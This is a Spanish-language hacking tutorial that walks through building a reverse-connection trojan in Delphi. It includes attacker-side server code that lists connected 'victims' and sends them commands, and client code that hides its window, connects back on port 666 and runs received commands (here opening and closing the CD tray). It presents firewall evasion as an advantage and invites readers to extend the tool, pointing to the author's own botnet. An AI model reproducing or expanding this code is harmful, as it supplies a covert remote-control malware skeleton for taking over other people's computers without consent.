[Titulo] : Creacion de un Troyano de Conexion Inversa
[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del servidor
0x03 : Creacion del cliente
0x04 : Probando el programa
-- =================--------
0x01 : Introduccion
Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar.
En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD.
Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi.
Para instarlo tenemos que ir a Menu -> components -> install packages
En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl
Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket.
Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD.
0x02 : Creacion del servidor
Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen :
(http://doddyhackman.webcindario.com/images/uno.jpg)
Para hacer el formulario decente tenemos que agregar lo siguiente.
- 1 ListBox
- 2 botones
- 1 Edit
- 1 ServerSocket (lo ponemos en true para que este activo )
Tiene que quedar como esta imagen.
(http://doddyhackman.webcindario.com/images/treinta.jpg)
Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo.
procedure TForm1.Button1Click(Sender: TObject);
var
lugar: integer; // Declaramos la variable lugar como entero
begin
ListBox1.Clear; // Limpiamos el contenido de ListBox
for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do
// Listamos las conexiones que
// hay en el server
begin
ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost);
// Agregamos al ListBox
// el host del infectado
// conectado
end;
end;
Tiene que quedar como en la siguiente imagen.
(http://doddyhackman.webcindario.com/images/treintauno.jpg)
Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado.
procedure TForm1.Button2Click(Sender: TObject);
begin
ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text);
// Mandamos el comando
// al pc infectado que
// seleccionamos en el
// ListBox
end;
Una imagen de como deberia quedar el codigo.
(http://doddyhackman.webcindario.com/images/treintados.jpg)
0x03 : Creacion del cliente
Ahora pasamos al cliente.
Lo unico que debemos agregar es el componente ClientSocket al formulario.
Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo.
procedure TForm1.FormCreate(Sender: TObject);
begin
ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local
ClientSocket1.Port := 666; // Establecemos el puerto que sera 666
ClientSocket1.Open; // Iniciamos la conexion con el servidor
Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana
end;
Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado.
procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
var
code: string;
begin
// Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora
code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code
if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ...
begin
mciSendString('Set cdaudio door open wait', nil, 0, handle);
// Usamos mciSendString para abrir
// la lectora
end;
if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ...
begin
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
// Cerramos la lectora usando
// mciSendString
end;
end;
Una imagen de como deberia quedar el codigo.
(http://doddyhackman.webcindario.com/images/treintatres.jpg)
0x04 : Probando el programa
El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente.
Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd".
Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP.
Les muestro una imagen de como seria todo.
(http://doddyhackman.webcindario.com/images/treintacuatro.jpg)
Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi.
--========--
The End ?
--========--
Version PDF (http://doddyhackman.webcindario.com/descargas/maketroy.pdf).